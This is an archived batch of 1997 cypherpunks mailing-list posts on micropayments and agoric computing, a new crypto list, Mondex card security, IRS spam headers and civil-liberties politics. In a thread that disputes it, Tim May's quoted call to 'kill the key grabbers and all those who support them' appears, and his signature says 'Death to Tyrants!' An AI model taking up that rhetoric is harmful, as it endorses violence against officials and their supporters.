Ryan Lackey
rdl@mit.edu						3 Ames St
http://mit.edu/rdl/www/					Cambridge, MA 02142





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 20 Jul 1997 23:11:10 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Will Monolithic Apps Dominate? (fwd)
Message-ID: <199707201456.JAA08917@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 20 Jul 1997 08:03:09 -0400
> From: Robert Hettinga <rah@shipwright.com>
> Subject: Re: Will Monolithic Apps Dominate?

> I'm beginning to think that until it's possible for a given processor to
> autonomously buy the software it needs for cash in an auction market, and
> then download and install that software, all at run time, the
> superscalibility of an environment where software is dispersed through the
> network (again, "surfacted" is not a bad word to describe this), and run in
> the smallest possible bits at the processor level just won't happen.
> 
> Nonetheless, I do think that the linux gang is going in the right
> direction, especially since most most of the cash-settlement technology we
> on this list have all come to know and love is more likely to be used in
> linux than anywhere else.

You should look into Plan 9 with purchasing extensions to its job-processor
scheduling scheme. This would allow several interesting features:

 -   anonymous execution of jobs

     The person scheduling the job would have no idea exactly where the
     job was running, only that it was at the time the least expensive
     alternative available.

 -   anonymous processor selection

     The person owning the machine would not know where all the processes
     currently running come from since it would not be possible to turn
     the execution key into an actual machine address.

 -   automatic and anonymous software selection

     Jobs don't need to have the required software or even where it might
     be located. The job would need to understand the catalog scheme in
     place to locate the software (think of a library card system).

Since the OS already bids for processor space it would not require a
major architecture mod to include E$/crypto functions.

> Finally, there's the issue of Mhyrvold's software-as-a-gas idea. That is,
> that bloatware is a direct result of Moore's Law.

I have to disagree. Bloatware comes from the way we look at software
(ie generalize & modularize it) and the way we impliment it (ie libraries).
While it makes the programmers job easier it makes the amount of software
required for the job larger that required because the libraries have
functions and features that aren't used (in this product). Bloatware won't
be fixed unless we (ugh) go back to monolithic project design with most
code custom built with little re-use from previous versions. I suspect it is
easier to buy another 4M of RAM than to pay the programmers to re-create the
wheel each time a new version comes out.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 20 Jul 1997 23:14:07 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: New Cypher ListServ  (part 2)    **REVISED** (fwd)
Message-ID: <199707201458.JAA08952@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "David Downey" <digital_matrix@hotmail.com>
> Subject: New Cypher ListServ  (part 2)    **REVISED**
> Date: Sun, 20 Jul 1997 06:16:19 PDT

> The Cryptography-Politics-PGP-L ListServ is in operation.(We just 
> finished up with the majordomo scripts and the like). Here is what you 
> need to do to join.  BTW, this list is a digested list. Please do not 
> freak if things do not go right straight from the get go. I hope to have 
> this as painless as possible, yet we all know that Murphy wrote Murphy's 
> Law just for this instance. Please bear with me. Once again, ANY 
> suggestions, short of flames, will be listened to 100%!
> Now for the nitty gritty.

Is this a new CDR node or is this a new indipendant mailing list?

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 21 Jul 1997 01:19:48 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: CDR Traffic & IRC
Message-ID: <199707201702.MAA09092@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

I have obtained a Sparc ELC (4/25) w/ 24M of RAM and 200M of disk space
under Solaris 1.1.2 (SunOS 4.1.4). I will be installing the gcc suite from
the O'Reilly "Programming with GNU software" since this is a supported
OS. I intend to set it up as a small public access irc server. I was
wondering if anyone had suggestions on such hardware and what to use.

The crypto relevance is that I was thinking of having a #cdr channel which
would receive traffic from the regular mailing list. In other words when a
user joins #cdr they could use the normal irc functions but a bot would be
receiving the mailing list traffic as it arrives and sending it out. I am
not proposing to send the #cdr traffic to the mailing list. It would be
one way only. Though a bot function to forward mail on a per request basis
might be implimented if some suitable abuse avoidance mechanism could be
worked out.

Any other crypto relevant suggestions on this topic welcome.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 21 Jul 1997 04:48:22 +0800
To: cypherpunks@Algebra.COM
Subject: Objects, Auctions, and Digital Money
In-Reply-To: <199707201456.JAA08917@einstein.ssz.com>
Message-ID: <v03102817aff821c2a3b5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:58 AM -0700 7/20/97, Robert Hettinga wrote:

>The idea of micromoney as processor food, I think, gets us a way to pay for
>the adaptive evolution with the same, or better, results than we'd get by
>top-down monolithic project design.
>

A husband-wife programming team just spent the last day or so at my place,
filling me in on their recent successes with their "agent-oriented
database" for financial trading. Unlike a lot of the hype about agents, in
books and in press releases, they've used their system for data mining of
financials, and have made a _lot_ of money with it. (They are not the folks
at The Prediction Company, in case anyone is wondering. Nor are they the
D.E. Shaw group. I can't say more right now, as the stakes and pool they
are running are up in the $10M range, and they hope/expect this to soon get
a lot larger. This could turn out to be one of the seminal applications of
this set of interrelated ideas.)

Bidding of agents is an important part of this approach. (Allocation of
resources, "putting their money where their mouth is," genetic programming,
evolutionary learning, data mining, neural nets, and all the other major
buzzwords. Their agents are somewhat "agnostic" about any particular
approach and they "use it if it works, otherwise kill it." The Koza-style
genetic programming top layer then makes use of the various buzzword
paradigms at lower levels, e.g., using time-series analysis for parts,
neural nets for other parts, forward-propagation for other parts, etc.)

The "agoric computation" work of Miller, Drexler, Tribble, Huberman and
others is relevant. (Huberman edited a book, circa 1987-8, "The Ecology of
Computation," which contains several of the important papers. The Miller
and Drexler papers are the ones to focus on.)

The "Digital Silk Road" work of our own Norm Hardy (and either Dean Tribble
or Mark Miller, I forget which right now) is highly relevant.

Some of this work is already being used to "market allocate" CPU cycles in
distributed systems. Sort of analogous to the "distributed crack" work
(except the distributed crack work is a winner take all approach, not
counting the confused situation with the DESCHALL crack recently). In
computational models where the prize is not so obvious, as in most routine
calculations in business, a market allocation model better uses
computational resources.

Selling spare CPU cycles is another related idea. Several Cypherpunks have
ideas along these lines.

Coincidentally, my last major project for Intel involved developing a
scheme for better automating and streamlining wafer production by having
wafer "runs" (manufacturing lots) bid for access to scarce resources. I
think I was strongly influenced by thinking about how wafer runs could be
seen as "objects" carring their own local state--the complicated time
history of the treatments they had received in the fabs, and test results,
etc.--and how traditional wafer lot tracking systems failed to
intelligently use any of this information. This "Frame-Based Manufacturing
System," using the work on frames with slots contained triggered methods
(daemons), would have essentially put an economic, agoric layer on what is
now mostly a human-run bureaucratic layer. (With various departments and
groups clamoring for access to equipment, rather than an auction approach.)

My environment at that time was a Symbolics 3670 LISP machine, with a user
interface/GUI of unparalleled elegance and power. And KEE, the Knowledge
Enngineering Environment, from Intellicorp.

I left Intel in '86, and the project limped along for another couple of
years. Miller and Drexler visited my group in '87, after I was gone, and
the work on using auction methods in wafer fabs entered into their
thinking, as they later told me.

(Intel did not deploy my vision. I can guess some of the reasons. Last I
heard, they're still struggling to adapt conventional relational data bases
for tracking wafer runs, but are not integrating in the vast amounts of
(expensive) knowledge in any meaningful way.)

These ideas are all part of a larger mosaic (TM, the Netscape Corporation)
of ideas involving collective computation, intelligent agents,
object-oriented data bases, "seas of objects" (a la Gelernter's "Linda"
system), auction markets, price discovery, and AI in general.

It's sad that so much of Cypherpunks coding has, perforce, been "stalled"
at the level of implementing mundane ciphers and showing weaknesses in
ciphers known 20 years ago to be weak.

The really neat stuff is taking a long time to percolate out.

--Tim May






There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: @_
Date: Mon, 21 Jul 1997 01:56:29 +0800
To: <cypherpunks@toad.com>
Subject: MLM Still Giving You the Shaft?
Message-ID: <199707200849.NAA24466@godzilla.wavegate.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 21 Jul 1997 02:51:00 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
In-Reply-To: <19970719072518.07383@bywater.songbird.com>
Message-ID: <Pine.GSO.3.95.970720143259.20201A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent,

Yours is an interesting response. But what if one has no principles, just
strategy and tactics?

If you don't know what your principles are -- if you can't identify them
and speak to them -- then you have no business being an advocate.

    "I have been a selfish being all my life, in practice, though
     not in principle." --Jane Austen

-Declan



On Sat, 19 Jul 1997, Kent Crispin wrote:

> On Fri, Jul 18, 1997 at 07:19:31PM -0700, Declan McCullagh wrote:
> [...]
> > This goes back to the original debate: pragmatism vs. principle. How do
> > you stand on principle and remain an effective advocate in Washington? If
> > you navigate the route of pragmatism and compromise, what does that mean
> > for civil liberties? Can you avoid compromising them away?
> 
> A quote you may find interesting:
> 
> "The debate between compromise and principle is a false debate, 
> because principle doesn't speak, it acts.  People don't compromise 
> their principles -- they simply mis-identify them."
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 21 Jul 1997 02:57:50 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <Pine.GSO.3.95.970720144755.20201C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



"Patriotism is the last refuge of a scoundrel." --Samuel Johnson

Often those who speak of patriotism wield the term as a thunderbolt to
head off criticism of their plans. "It is unpatriotic to oppose the
CDA, mandatory key escrow." It is indeed the last refuge of a scoundrel
when used as an excuse to violate civil liberties.

I suspect that's not what Tim was doing below.

-Declan



On Sat, 19 Jul 1997, Kent Crispin wrote:

> On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
> [usual rant deleted]
> > 
> > Kill the key grabbers and all those who support them. Isn't it exactly what
> > Patrick Henry, Thomas Jefferson, and the others would have argued?
> 
> Amazing.  Patriotism -- the last refuge of the scoundrel.
> 
> However, Patric Henry said something like "Give me liberty or give me
> death." That is really very different from "Kill everyone who opposes
> me and all their supporters." Tim doesn't seem to understand this
> nuance. 
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 21 Jul 1997 02:59:22 +0800
To: Tim May <tcmay@got.net>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <v03102810aff69260ceb1@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970720145056.20201D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Of course, the P.Dilemma is a particularly academic invention. In real
situations, the prisoners probably know each other and know of each
other's reputation capital. They may be known not to squeal, for instance,
which is why they chose to commit the crime together. And confessing might
have other repercussions later on in life...

-Declan


On Sat, 19 Jul 1997, Tim May wrote:
 
> On the other hand, the relevance to Prisoner's Dilemma games is pretty obvious:
> 
> "Mr. Bell, if you confess and plead guilty, you'll receive a one-year
> prison term. If you don't confess, when we find you guilty you'll receive
> the maximum term. If you confess but Mr. May _also_ confesses, you'll still
> receive the maximum term. If neither of you confesses, you'll still be
> found guilty. So, what'll it be?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 21 Jul 1997 04:01:06 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Will Monolithic Apps Dominate? (fwd)
In-Reply-To: <199707201456.JAA08917@einstein.ssz.com>
Message-ID: <v03110702aff80c49ac56@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:56 am -0400 on 7/20/97, Jim Choate wrote:


> You should look into Plan 9

<snip>

> Since the OS already bids for processor space it would not require a
> major architecture mod to include E$/crypto functions.

Yeah. I've seen demos of what I think was plan 9, actually it's
successor(?). Both of them were Bell (now Lucent) efforts, right?

Certainly, it looks like it was a step in the right direction, if it works
as advertised.


>
> > Finally, there's the issue of Mhyrvold's software-as-a-gas idea. That is,
> > that bloatware is a direct result of Moore's Law.
>
> I have to disagree. Bloatware comes from the way we look at software
> (ie generalize & modularize it) and the way we impliment it (ie libraries).
> While it makes the programmers job easier it makes the amount of software
> required for the job larger that required because the libraries have
> functions and features that aren't used (in this product). Bloatware won't
> be fixed unless we (ugh) go back to monolithic project design with most
> code custom built with little re-use from previous versions. I suspect it is
> easier to buy another 4M of RAM than to pay the programmers to re-create the
> wheel each time a new version comes out.

No, but I bet that if there was a profit-loss feedback loop at the lowest
possible level of the, what?, solution (do we call a group of autonomous
cooperating bits of code an application?) then, at some point in the
development of a cash settlement mechanism, the benefits of efficiency
would far outweigh the extra cost of cash handling.

The idea of micromoney as processor food, I think, gets us a way to pay for
the adaptive evolution with the same, or better, results than we'd get by
top-down monolithic project design.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Mon, 21 Jul 1997 07:28:50 +0800
To: declan@well.com
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970720144755.20201C-100000@cp.pathfinder.com>
Message-ID: <Pine.LNX.3.95.970720161827.9956A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 20 Jul 1997, Declan McCullagh wrote:

> "Patriotism is the last refuge of a scoundrel." --Samuel Johnson

Patriotism is the *FIRST* refuge of a scoundrel.  (The second is prayer.)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Mon, 21 Jul 1997 08:02:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: mondex
Message-ID: <9707202357.AA17060@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain




Ryan Lackey wrote:
>Does anyone know how open the Mondex architecture is?  Is it in any way
>possible to set up a competing system with your own card manufacture
>and issuing bodies for currencies which can be used in deployed Mondex
>POS terminals without too much hassle?
>[...]

Wesley Felter <wesf@mail.utexas.edu> wrote:
>As I understand it, Mondex is a completely closed system. Everything that
>you don't absolutely need to know is undocumented. Since you can settle
>offline, the potential for fraud is frightening; unless I'm getting the
>benefit of these, um, weaknesses in the system, I don't want there to be
>any. The lack of privacy seems to be somewhat of a smokescreen; since you
>can settle offline, they don't have a really accurate way of tracking
>transactions except at the interface between e$ and other forms of money
>or goods (like their POS terminals and ATMs).
>
>Can you hack Mondex? They say you can't...


David Jones,a computer science professor at McMaster University and
president of Electronic Frontier Canada, has written an interesting
article on the subject of Mondex security:

>Here's my latest article published online in "The Convergence".
>Please visit the web page version because it has lots of hyperlinks
>to related documents, including some never before published on the Net
>(e.g., Australian bank report on Mondex security)
>
>        http://theconvergence.com/columns/djones/07121997/

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

                Mondex: A House of Smart-Cards?

  With e-cash, privacy is illusory and security is questionable


by David Jones


Mondex International has already conceded that its electronic
'cash' isn't really as private as they once claimed.  Now critics
are questioning whether their security is all it's cracked up to be.
If crooks managed to create counterfeit cyber-cash, and if Mondex
failed to detect it quickly enough, the deposits backing up the
electronic currency could be drained dry, leaving customers out
of pocket -- unable to redeem the 'value' on their cards.
Do participating banks have any contingency plans for what
Mondex calls its 'meltdown scenario'?

[...]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


--
Martin Janzen           janzen@idacom.hp.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 21 Jul 1997 08:21:56 +0800
To: cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <19970720170513.43286@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jul 20, 1997 at 02:48:20PM -0400, Declan McCullagh wrote:
> "Patriotism is the last refuge of a scoundrel." --Samuel Johnson
> 
> Often those who speak of patriotism wield the term as a thunderbolt to
> head off criticism of their plans. "It is unpatriotic to oppose the
> CDA, mandatory key escrow." It is indeed the last refuge of a scoundrel
> when used as an excuse to violate civil liberties.
> 
> I suspect that's not what Tim was doing below.

That is *exactly* what Tim is doing.  He is wrapping himself in the
flag and shouting about how he has the one true vision of what the 
hallowed founding fathers thought:

>>> Kill the key grabbers and all those who support them. Isn't it exactly what
>>> Patrick Henry, Thomas Jefferson, and the others would have argued?

Pardon my patriotic tears...

Can there be any doubt at all? It's obviously old cheap rhetoric
through and through, not even Bill Clinton at his worst could match
it.  Of course, the true believers chorus "Yea, verily", and are
impressed by the fire and brimstone; and the anon crowd always chimes
in after a respectful delay... 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Mon, 21 Jul 1997 06:09:40 +0800
To: cypherpunks@ssz.com
Subject: Re: Cypherpunk U
In-Reply-To: <v03102815aff6f510fe24@[207.167.93.63]>
Message-ID: <0nocet200YUg0JQlU0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> At 2:17 PM -0700 7/19/97, Nick West wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >What are some of the better colleges/universities to study
> >Computer/Network security at? I know MIT is a good one. Any others
> >that aren't quite so hard to get in to that still offer quality
> >programs?
> 
> Do you mean for grad school, or for undergrad work?
> 
> If the former, look for where the papers that interest you are coming from.
> That is, whom do you want to work with? UC Berkeley is obviously doing
> interesting work, Purude has some well known folks, and Carnegie-Mellon is
> in the home city of CERT (maybe not a recommendation...). And Stanford is
> always a hotbed. At least a dozen other places are doing fine work.
> 
> If for undergrad work, you of course won't have any exposure to speak of in
> these areas, save for one or two courses. Maybe.

CMU does lots of real world crypto stuff, mostly centering around
Kerberos. There's some good theory here, too. In addition, NetBill
(book-entry bastards) does some crypto. If you were interested in
working one of those projects, you could easily do so as an undergrad.
There's also one "number theory" class which is basically crypto 101.
As for grad work, if you're interested in number theory and such, you
could do well here. Otherwise, you might consider somewhere else.

Allumnusly yours,
Jer

BTW, the administration here is a bunch of bloody facists.

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 21 Jul 1997 06:41:56 +0800
To: cypherpunks@toad.com
Subject: IRS Spam
Message-ID: <1.5.4.32.19970720222258.006eb734@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Here's the latest tally of IRS Inspection spam headers with
the number of recipients in parentheses: 6 directly, 4 via
3 lists so far.

IRS MESSAGE 1 -- Message-Id: <199707171625.MAA02707@net.insp.irs.gov>
(1)              Date: Thu, 17 Jul 1997 12:25:26 -0400

IRS MESSAGE 2 -- Message-Id: <199707171628.MAA02724@net.insp.irs.gov>
(1)              Date: Thu, 17 Jul 1997 12:28:11 -0400

IRS MESSAGE 3 -- Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
(2)              Date: Thu, 17 Jul 1997 12:29:08 -0400

IRS MESSAGE 4 -- Message-Id: <199707171630.MAA02739@net.insp.irs.gov>
(3)              Date: Thu, 17 Jul 1997 12:30:03 -0400

IRS MESSAGE 5 -- Message-Id: <199707171631.MAA02749@net.insp.irs.gov>
(1)              Date: Thu, 17 Jul 1997 12:31:08 -0400

IRS MESSAGE 6 -- Message-Id: <199707171633.MAA02778@net.insp.irs.gov>
(2)              Date: Thu, 17 Jul 1997 12:33:43 -0400

Note that the date/time within the Id is four hours later than those
of the message, probably due to send box settings. Also, the 
first hop of all messages to Treasury's initial mail gate occurs 
18h:17m - 18h:18m after the date/time of the message (see full headers).

----------

Full headers at:

   http://jya.com/irs-headers.txt

The $.25m spam at:

   http://jya.com/irs-spam.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Mon, 21 Jul 1997 11:48:31 +0800
To: cypherpunks@Algebra.COM
Subject: Something of little importance
Message-ID: <Pine.LNX.3.95.970720204306.22443B-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



I was noticing that the bottom of the latest issue of Mad magazine (August
1997) in the cartoons in the margin, there is someone holding up a
newspaper that reads "UPC code broken".

"Crypto-noia strikes deep...  Into Mad it will creep..."

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Mon, 21 Jul 1997 13:32:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: New Cypher ListServ (part 1)
Message-ID: <199707210521.WAA21812@f27.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain





>Date: Sun, 20 Jul 1997 15:30:11 -0400 (EDT)
>From: Declan McCullagh <declan@pathfinder.com>
>To: David Downey <digital_matrix@hotmail.com>
>cc: cypherpunks@algebra.com
>Subject: Re: New Cypher ListServ  (part 1)
>
>David,
>
>Don't take this the wrong way, but why should we subscribe to your list
>when there are plenty out there that deal with PGP, crypto, speech, and
>politics already, have been around for a while, and have a critical 
mass
>of participants? What will you offer over, say, cypherpunks?
>
>-Declan
>

Yes, I am trying to get a number of the other cypherpunk lists together 
under one umbrella. Ambitious, but if you don't reach for the stars, 
you'll always be stuck in the lawnchair. I will add other lists that 
folks from this list mention to me, as I am looking to combine a whole 
slew of them together. This way all lists stand a better chance of 
surviving in the event of D.O.S attacks and the like.  If anyone knows a 
list that is good and should be added let me know.

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 21 Jul 1997 14:51:58 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Voluntary mandatory PICS ratings on all posts
In-Reply-To: <199707191603.SAA15143@basement.replay.com>
Message-ID: <3.0.2.32.19970720230924.03168b6c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:22 AM 7/19/97 -0700, Tim wrote:
...
>Voluntary Mandatory Self-Rating of this Article
>(U.S. Statute 43-666-970719).

Hmmm - somehow my browser let this through

>**SUMMARY**
>Estimated number of readers qualified to read this: 1
>Composite Age Rating: 45 years

I thought you were still 44?  Happy Birthday!
:-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Majordomo@oceanus.host4u.net
Date: Mon, 21 Jul 1997 14:04:57 +0800
To: cypherpunks-unedited@toad.com
Subject: Welcome to cryptography-politics-pgp-l
Message-ID: <199707210549.AAA31262@oceanus.host4u.net>
MIME-Version: 1.0
Content-Type: text/plain



--

Welcome to the cryptography-politics-pgp-l mailing list!

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 Here's the general information for the list you've subscribed to,
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[Last updated on: Sun Jul 20  7:07:57 1997]
Welcome to The Privacy Channel's Cryptography-Politics-PGP-L. As you've
probably guessed from the list title, this list is dedicated to the
open, friendly, and intellegent discussion of Cryptography around the
globe. Also, we discuss the many facets of politics as it affects the
world of Cryptography. We discuss governmental involvement, corporate
yes men, and all the like. We try to keep each other abreast of the
everchanging world around us. All are welcome here, whether you have NO
idea what encryption is, or whether you worked for the government
designing DES. Last but not least, we also discuss PGP, is it a viable
alternative to escrowed key accounts?  I, the List-Owner, do think so.
But that is open for discussion. Now, let's get a few things out of the
way. The Rules!

1) ABSOLUTELY NO SPAMMING ALLOWED!!!! I'll can ya in a heartbeat, as
well as speak to all the server owners that you traveled on.

2) You keep it kind of clean. Keep the swearing and such down to a
minimum. You can get your point accross just as well without cussing.
Flaming others is also considered bad karma here. I'd like to see folks
help each other around here. After all, we are all we got!

3) You try to keep as much as possible to the point, and to the content
of this list. If you really want to talk about something else, let me
know. I'll get another list going.

4) Respect others!!! I do this because I like talking to other people
from around the world, and to listen to their side of things. Their
point is just as much valid as mine and yours.

5) Finally, HAVE FUN!!!!!



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subscribe/unsubscribe information.



SUBSCRIBING
===========

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UNSUBSCRIBING
=============

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I'm done. Talk to you on the List.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Majordomo@oceanus.host4u.net
Date: Mon, 21 Jul 1997 15:44:47 +0800
To: cypherpunks-unedited-outgoing@toad.com
Subject: Welcome to cryptography-politics-pgp-l
Message-ID: <199707210725.CAA14998@oceanus.host4u.net>
MIME-Version: 1.0
Content-Type: text/plain



--

Welcome to the cryptography-politics-pgp-l mailing list!

Please save this message for future reference.  Thank you.

If you ever want to remove yourself from this mailing list,
you can send mail to <Majordomo@oceanus.host4u.net> with the following
command in the body of your email message:

    unsubscribe cryptography-politics-pgp-l cypherpunks-unedited-outgoing@toad.com

If you ever need to get in contact with the owner of the list,
(if you have trouble unsubscribing, or have questions about the
list itself) send email to <owner-cryptography-politics-pgp-l@oceanus.host4u.net> .
This is the general rule for most mailing lists when you need
to contact a human.

 Here's the general information for the list you've subscribed to,
 in case you don't already have it:

[Last updated on: Sun Jul 20  7:07:57 1997]
Welcome to The Privacy Channel's Cryptography-Politics-PGP-L. As you've
probably guessed from the list title, this list is dedicated to the
open, friendly, and intellegent discussion of Cryptography around the
globe. Also, we discuss the many facets of politics as it affects the
world of Cryptography. We discuss governmental involvement, corporate
yes men, and all the like. We try to keep each other abreast of the
everchanging world around us. All are welcome here, whether you have NO
idea what encryption is, or whether you worked for the government
designing DES. Last but not least, we also discuss PGP, is it a viable
alternative to escrowed key accounts?  I, the List-Owner, do think so.
But that is open for discussion. Now, let's get a few things out of the
way. The Rules!

1) ABSOLUTELY NO SPAMMING ALLOWED!!!! I'll can ya in a heartbeat, as
well as speak to all the server owners that you traveled on.

2) You keep it kind of clean. Keep the swearing and such down to a
minimum. You can get your point accross just as well without cussing.
Flaming others is also considered bad karma here. I'd like to see folks
help each other around here. After all, we are all we got!

3) You try to keep as much as possible to the point, and to the content
of this list. If you really want to talk about something else, let me
know. I'll get another list going.

4) Respect others!!! I do this because I like talking to other people
from around the world, and to listen to their side of things. Their
point is just as much valid as mine and yours.

5) Finally, HAVE FUN!!!!!



In case the Bot fails to send it to you here is the
subscribe/unsubscribe information.



SUBSCRIBING
===========

subscribe cryptography-politics-pgp-l your.email@here


UNSUBSCRIBING
=============

unsubscribe cryptography-politics-pgp-l your.email@here

I'm done. Talk to you on the List.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 21 Jul 1997 22:24:36 +0800
To: cypherpunks@toad.com
